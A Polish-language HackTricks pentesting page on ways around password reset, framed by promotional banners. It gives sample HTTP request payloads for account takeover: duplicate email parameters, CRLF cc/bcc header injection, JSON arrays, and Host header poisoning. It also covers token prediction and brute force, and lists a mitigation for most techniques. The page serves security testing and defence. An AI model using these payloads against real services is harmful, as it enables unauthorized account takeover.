2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-21 08:28:27 +00:00
hacktricks/pentesting-web/reset-password.md

12 KiB

Bypass resetowania/zapomnianego hasła

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w hakowanie
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakowania

Aktualności z hakowania na żywo
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnościom i wglądom w czasie rzeczywistym

Najnowsze ogłoszenia
Bądź informowany o najnowszych programach nagród za błędy i istotnych aktualizacjach platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Wyciek tokena resetowania hasła za pośrednictwem nagłówka Referrer

  • Nagłówek HTTP referer może ujawnić token resetowania hasła, jeśli jest zawarty w adresie URL. Może to wystąpić, gdy użytkownik kliknie na link strony trzeciej po żądaniu resetowania hasła.
  • Wpływ: Potencjalne przejęcie konta poprzez ataki typu Cross-Site Request Forgery (CSRF).
  • Wykorzystanie: Aby sprawdzić, czy token resetowania hasła wycieka w nagłówku referer, żądaj resetowania hasła na swój adres e-mail i kliknij udostępniony link resetowania. Nie zmieniaj hasła natychmiast. Zamiast tego przejdź do strony trzeciej (np. Facebooka lub Twittera), jednocześnie przechwytując żądania za pomocą Burp Suite. Sprawdź żądania, aby zobaczyć, czy nagłówek referer zawiera token resetowania hasła, co może ujawnić wrażliwe informacje stronom trzecim.
  • Referencje:
  • Raport HackerOne 342693
  • Raport HackerOne 272379
  • Artykuł o wycieku tokena resetowania hasła

Zatrucie resetowania hasła

  • Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetowania do złośliwej witryny.
  • Wpływ: Prowadzi do potencjalnego przejęcia konta poprzez wyciek tokenów resetowania do atakujących.
  • Kroki łagodzenia:
  • Zweryfikuj nagłówek Host na podstawie białej listy dozwolonych domen.
  • Użyj bezpiecznych, serwerowych metod generowania bezwzględnych adresów URL.
  • Łata: Użyj $_SERVER['SERVER_NAME'] do konstruowania adresów URL resetowania hasła zamiast $_SERVER['HTTP_HOST'].
  • Referencje:
  • Artykuł Acunetix na temat zatrucia resetowania hasła

Resetowanie hasła poprzez manipulowanie parametrem e-mail

Atakujący mogą manipulować żądaniem resetowania hasła poprzez dodanie dodatkowych parametrów e-mail w celu przekierowania linku resetowania.

  • Dodaj e-mail atakującego jako drugi parametr za pomocą &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Dodaj adres e-mail atakującego jako drugi parametr, używając %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Dodaj adres e-mail atakującego jako drugi parametr, używając |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Dodaj adres e-mail atakującego jako drugi parametr, używając opcji cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Dodaj adres e-mail atakującego jako drugi parametr, używając opcji bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Dodaj adres e-mail atakującego jako drugi parametr, używając ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Dodaj adres e-mail atakującego jako drugi parametr w tablicy json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Zmiana adresu e-mail i hasła dowolnego użytkownika za pomocą parametrów interfejsu API

  • Atakujący mogą modyfikować parametry e-maila i hasła w żądaniach interfejsu API, aby zmienić dane uwierzytelniające konta.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Brak Limitu Szybkości: Bombardowanie E-mailem

  • Brak limitu szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailami, przytłaczając użytkownika resetowymi e-mailami.
  • Kroki łagodzenia:
  • Wdrożenie limitowania szybkości na podstawie adresu IP lub konta użytkownika.
  • Wykorzystanie wyzwań CAPTCHA w celu zapobieżenia automatycznemu nadużyciu.
  • Odnośniki:
  • Raport HackerOne 280534

Dowiedz się, jak jest generowany Token Resetowania Hasła

  • Zrozumienie wzorca lub metody generowania tokenów może prowadzić do przewidywania lub siłowego odgadywania tokenów. Niektóre opcje:
  • Na podstawie znacznika czasu
  • Na podstawie identyfikatora użytkownika
  • Na podstawie adresu e-mail użytkownika
  • Na podstawie imienia i nazwiska
  • Na podstawie daty urodzenia
  • Na podstawie kryptografii
  • Kroki łagodzenia:
  • Użyj silnych, kryptograficznych metod generowania tokenów.
  • Zapewnij wystarczającą losowość i długość, aby zapobiec przewidywalności.
  • Narzędzia: Użyj Burp Sequencer do analizy losowości tokenów.

Odganialny UUID

  • Jeśli UUID (wersja 1) jest odgadnialny lub przewidywalny, atakujący mogą siłowo odgadywać je, aby generować poprawne tokeny resetowania. Sprawdź:

{% content-ref url="uuid-insecurities.md" %} uuid-insecurities.md {% endcontent-ref %}

  • Kroki łagodzenia:
  • Użyj GUID wersji 4 dla losowości lub wdroż dodatkowe środki bezpieczeństwa dla innych wersji.
  • Narzędzia: Użyj guidtool do analizy i generowania GUIDów.

Manipulacja Odpowiedzią: Zamień Złą Odpowiedź na Dobrą

  • Manipulowanie odpowiedziami HTTP w celu obejścia komunikatów błędów lub ograniczeń.
  • Kroki łagodzenia:
  • Wdrożenie kontroli po stronie serwera w celu zapewnienia integralności odpowiedzi.
  • Użyj bezpiecznych kanałów komunikacyjnych, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
  • Odnośnik:
  • Krytyczny błąd w żywym wydarzeniu Bug Bounty

Użycie Wygasłego Tokena

  • Testowanie, czy wygasłe tokeny nadal można używać do resetowania hasła.
  • Kroki łagodzenia:
  • Wdrożenie ścisłych zasad wygaśnięcia tokenów i walidacja wygaśnięcia tokenów po stronie serwera.

Siłowe Odgadywanie Tokena Resetowania Hasła

  • Próba siłowego odgadywania tokenu resetowania za pomocą narzędzi takich jak Burpsuite i IP-Rotator w celu obejścia limitów szybkości opartych na adresie IP.
  • Kroki łagodzenia:
  • Wdrożenie solidnych mechanizmów limitowania szybkości i blokady konta.
  • Monitorowanie podejrzanych działań wskazujących na ataki siłowe.

Spróbuj Użyć Swojego Tokenu

  • Testowanie, czy token resetowania atakującego może być użyty w połączeniu z e-mailem ofiary.
  • Kroki łagodzenia:
  • Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.

Unieważnienie Sesji podczas Wylogowywania/Resetowania Hasła

  • Zapewnienie, że sesje są unieważniane, gdy użytkownik się wylogowuje lub resetuje hasło.
  • Kroki łagodzenia:
  • Wdrożenie właściwego zarządzania sesjami, zapewniając, że wszystkie sesje są unieważniane po wylogowaniu lub zresetowaniu hasła.

Unieważnienie Sesji podczas Wylogowywania/Resetowania Hasła

  • Tokeny resetowania powinny mieć czas wygaśnięcia, po którym stają się nieważne.
  • Kroki łagodzenia:
  • Ustaw rozsądny czas wygaśnięcia dla tokenów resetowania i ściśle egzekwuj go po stronie serwera.

Odnośniki

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spostrzeżenia Hakerskie
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualne Wiadomości o Hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: